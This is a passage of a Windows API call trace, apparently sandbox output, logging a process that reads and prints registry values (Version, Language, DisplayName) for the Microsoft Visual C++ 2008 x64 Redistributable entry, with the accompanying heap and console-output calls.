() returned 0x1b5 [0147.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.378] GetConsoleOutputCP () returned 0x1b5 [0147.379] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.379] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.379] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.379] GetProcessHeap () returned 0x2e0000 [0147.379] GetProcessHeap () returned 0x2e0000 [0147.379] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.379] GetProcessHeap () returned 0x2e0000 [0147.379] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.379] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.379] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.379] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.379] GetProcessHeap () returned 0x2e0000 [0147.379] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.379] GetProcessHeap () returned 0x2e0000 [0147.379] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.379] GetProcessHeap () returned 0x2e0000 [0147.379] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.379] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x9007809, pcbData=0x23f670*=0x4) returned 0x0 [0147.379] __iob_func () returned 0x7fefd702a80 [0147.379] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.379] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.379] _fileno (_File=0x7fefd702ab0) returned 1 [0147.379] _errno () returned 0xc4bb0 [0147.379] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.379] _errno () returned 0xc4bb0 [0147.379] GetFileType (hFile=0x50) returned 0x1 [0147.379] lstrlenW (lpString=" ") returned 4 [0147.379] GetConsoleOutputCP () returned 0x1b5 [0147.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.380] GetConsoleOutputCP () returned 0x1b5 [0147.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.380] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.380] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.380] lstrlenW (lpString="Version") returned 7 [0147.380] __iob_func () returned 0x7fefd702a80 [0147.380] _fileno (_File=0x7fefd702ab0) returned 1 [0147.380] _errno () returned 0xc4bb0 [0147.380] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.380] _errno () returned 0xc4bb0 [0147.380] GetFileType (hFile=0x50) returned 0x1 [0147.380] lstrlenW (lpString="Version") returned 7 [0147.380] GetConsoleOutputCP () returned 0x1b5 [0147.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.381] GetConsoleOutputCP () returned 0x1b5 [0147.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.381] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.381] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.381] __iob_func () returned 0x7fefd702a80 [0147.381] _fileno (_File=0x7fefd702ab0) returned 1 [0147.381] _errno () returned 0xc4bb0 [0147.381] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.381] _errno () returned 0xc4bb0 [0147.381] GetFileType (hFile=0x50) returned 0x1 [0147.381] lstrlenW (lpString=" ") returned 4 [0147.381] GetConsoleOutputCP () returned 0x1b5 [0147.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.381] GetConsoleOutputCP () returned 0x1b5 [0147.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.381] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.381] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.382] __iob_func () returned 0x7fefd702a80 [0147.382] _fileno (_File=0x7fefd702ab0) returned 1 [0147.382] _errno () returned 0xc4bb0 [0147.382] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.382] _errno () returned 0xc4bb0 [0147.382] GetFileType (hFile=0x50) returned 0x1 [0147.382] lstrlenW (lpString="REG_DWORD") returned 9 [0147.382] GetConsoleOutputCP () returned 0x1b5 [0147.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.382] GetConsoleOutputCP () returned 0x1b5 [0147.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.382] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.382] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.382] __iob_func () returned 0x7fefd702a80 [0147.382] _fileno (_File=0x7fefd702ab0) returned 1 [0147.382] _errno () returned 0xc4bb0 [0147.382] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.382] _errno () returned 0xc4bb0 [0147.382] GetFileType (hFile=0x50) returned 0x1 [0147.382] lstrlenW (lpString=" ") returned 4 [0147.382] GetConsoleOutputCP () returned 0x1b5 [0147.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.382] GetConsoleOutputCP () returned 0x1b5 [0147.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.383] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.383] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.383] __iob_func () returned 0x7fefd702a80 [0147.383] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.383] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x9007809") returned 9 [0147.383] _fileno (_File=0x7fefd702ab0) returned 1 [0147.383] _errno () returned 0xc4bb0 [0147.383] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.383] _errno () returned 0xc4bb0 [0147.383] GetFileType (hFile=0x50) returned 0x1 [0147.383] lstrlenW (lpString="0x9007809") returned 9 [0147.383] GetConsoleOutputCP () returned 0x1b5 [0147.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9007809", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.383] GetConsoleOutputCP () returned 0x1b5 [0147.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9007809", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9007809", lpUsedDefaultChar=0x0) returned 9 [0147.383] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.383] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.383] __iob_func () returned 0x7fefd702a80 [0147.383] _fileno (_File=0x7fefd702ab0) returned 1 [0147.383] _errno () returned 0xc4bb0 [0147.383] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.383] _errno () returned 0xc4bb0 [0147.383] GetFileType (hFile=0x50) returned 0x1 [0147.384] lstrlenW (lpString="\n") returned 1 [0147.384] GetConsoleOutputCP () returned 0x1b5 [0147.384] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.384] GetConsoleOutputCP () returned 0x1b5 [0147.384] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.384] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.384] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.384] GetProcessHeap () returned 0x2e0000 [0147.384] GetProcessHeap () returned 0x2e0000 [0147.384] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.384] GetProcessHeap () returned 0x2e0000 [0147.384] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.384] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.384] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.384] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.384] GetProcessHeap () returned 0x2e0000 [0147.384] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.384] GetProcessHeap () returned 0x2e0000 [0147.384] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.384] GetProcessHeap () returned 0x2e0000 [0147.384] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.384] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0147.384] __iob_func () returned 0x7fefd702a80 [0147.384] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.384] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.385] _fileno (_File=0x7fefd702ab0) returned 1 [0147.385] _errno () returned 0xc4bb0 [0147.385] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.385] _errno () returned 0xc4bb0 [0147.385] GetFileType (hFile=0x50) returned 0x1 [0147.385] lstrlenW (lpString=" ") returned 4 [0147.385] GetConsoleOutputCP () returned 0x1b5 [0147.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.385] GetConsoleOutputCP () returned 0x1b5 [0147.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.385] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.385] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.385] lstrlenW (lpString="Language") returned 8 [0147.385] __iob_func () returned 0x7fefd702a80 [0147.385] _fileno (_File=0x7fefd702ab0) returned 1 [0147.385] _errno () returned 0xc4bb0 [0147.385] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.385] _errno () returned 0xc4bb0 [0147.385] GetFileType (hFile=0x50) returned 0x1 [0147.385] lstrlenW (lpString="Language") returned 8 [0147.385] GetConsoleOutputCP () returned 0x1b5 [0147.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.385] GetConsoleOutputCP () returned 0x1b5 [0147.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.386] __iob_func () returned 0x7fefd702a80 [0147.386] _fileno (_File=0x7fefd702ab0) returned 1 [0147.386] _errno () returned 0xc4bb0 [0147.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.386] _errno () returned 0xc4bb0 [0147.386] GetFileType (hFile=0x50) returned 0x1 [0147.386] lstrlenW (lpString=" ") returned 4 [0147.386] GetConsoleOutputCP () returned 0x1b5 [0147.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.386] GetConsoleOutputCP () returned 0x1b5 [0147.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.386] __iob_func () returned 0x7fefd702a80 [0147.386] _fileno (_File=0x7fefd702ab0) returned 1 [0147.386] _errno () returned 0xc4bb0 [0147.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.386] _errno () returned 0xc4bb0 [0147.386] GetFileType (hFile=0x50) returned 0x1 [0147.386] lstrlenW (lpString="REG_DWORD") returned 9 [0147.387] GetConsoleOutputCP () returned 0x1b5 [0147.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.387] GetConsoleOutputCP () returned 0x1b5 [0147.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.387] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.387] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.387] __iob_func () returned 0x7fefd702a80 [0147.387] _fileno (_File=0x7fefd702ab0) returned 1 [0147.387] _errno () returned 0xc4bb0 [0147.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.387] _errno () returned 0xc4bb0 [0147.387] GetFileType (hFile=0x50) returned 0x1 [0147.387] lstrlenW (lpString=" ") returned 4 [0147.387] GetConsoleOutputCP () returned 0x1b5 [0147.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.387] GetConsoleOutputCP () returned 0x1b5 [0147.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.387] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.387] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.388] __iob_func () returned 0x7fefd702a80 [0147.388] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.388] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0147.388] _fileno (_File=0x7fefd702ab0) returned 1 [0147.388] _errno () returned 0xc4bb0 [0147.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.388] _errno () returned 0xc4bb0 [0147.388] GetFileType (hFile=0x50) returned 0x1 [0147.388] lstrlenW (lpString="0x409") returned 5 [0147.388] GetConsoleOutputCP () returned 0x1b5 [0147.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.388] GetConsoleOutputCP () returned 0x1b5 [0147.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0147.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.388] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.388] __iob_func () returned 0x7fefd702a80 [0147.388] _fileno (_File=0x7fefd702ab0) returned 1 [0147.388] _errno () returned 0xc4bb0 [0147.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.388] _errno () returned 0xc4bb0 [0147.388] GetFileType (hFile=0x50) returned 0x1 [0147.388] lstrlenW (lpString="\n") returned 1 [0147.388] GetConsoleOutputCP () returned 0x1b5 [0147.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.389] GetConsoleOutputCP () returned 0x1b5 [0147.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.389] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.389] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.389] GetProcessHeap () returned 0x2e0000 [0147.389] GetProcessHeap () returned 0x2e0000 [0147.389] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.389] GetProcessHeap () returned 0x2e0000 [0147.389] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.389] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.389] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.389] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x80) returned 0x0 [0147.389] GetProcessHeap () returned 0x2e0000 [0147.389] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x82) returned 0x301970 [0147.389] GetProcessHeap () returned 0x2e0000 [0147.389] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.389] GetProcessHeap () returned 0x2e0000 [0147.389] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x82 [0147.389] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0x80 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161", pcbData=0x23f670*=0x7e) returned 0x0 [0147.389] __iob_func () returned 0x7fefd702a80 [0147.389] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.389] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.389] _fileno (_File=0x7fefd702ab0) returned 1 [0147.389] _errno () returned 0xc4bb0 [0147.389] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.389] _errno () returned 0xc4bb0 [0147.389] GetFileType (hFile=0x50) returned 0x1 [0147.389] lstrlenW (lpString=" ") returned 4 [0147.389] GetConsoleOutputCP () returned 0x1b5 [0147.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.390] GetConsoleOutputCP () returned 0x1b5 [0147.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.390] lstrlenW (lpString="DisplayName") returned 11 [0147.390] __iob_func () returned 0x7fefd702a80 [0147.390] _fileno (_File=0x7fefd702ab0) returned 1 [0147.390] _errno () returned 0xc4bb0 [0147.390] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.390] _errno () returned 0xc4bb0 [0147.390] GetFileType (hFile=0x50) returned 0x1 [0147.390] lstrlenW (lpString="DisplayName") returned 11 [0147.390] GetConsoleOutputCP () returned 0x1b5 [0147.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.390] GetConsoleOutputCP () returned 0x1b5 [0147.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.391] __iob_func () returned 0x7fefd702a80 [0147.391] _fileno (_File=0x7fefd702ab0) returned 1 [0147.391] _errno () returned 0xc4bb0 [0147.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.391] _errno () returned 0xc4bb0 [0147.391] GetFileType (hFile=0x50) returned 0x1 [0147.391] lstrlenW (lpString=" ") returned 4 [0147.391] GetConsoleOutputCP () returned 0x1b5 [0147.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.391] GetConsoleOutputCP () returned 0x1b5 [0147.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, 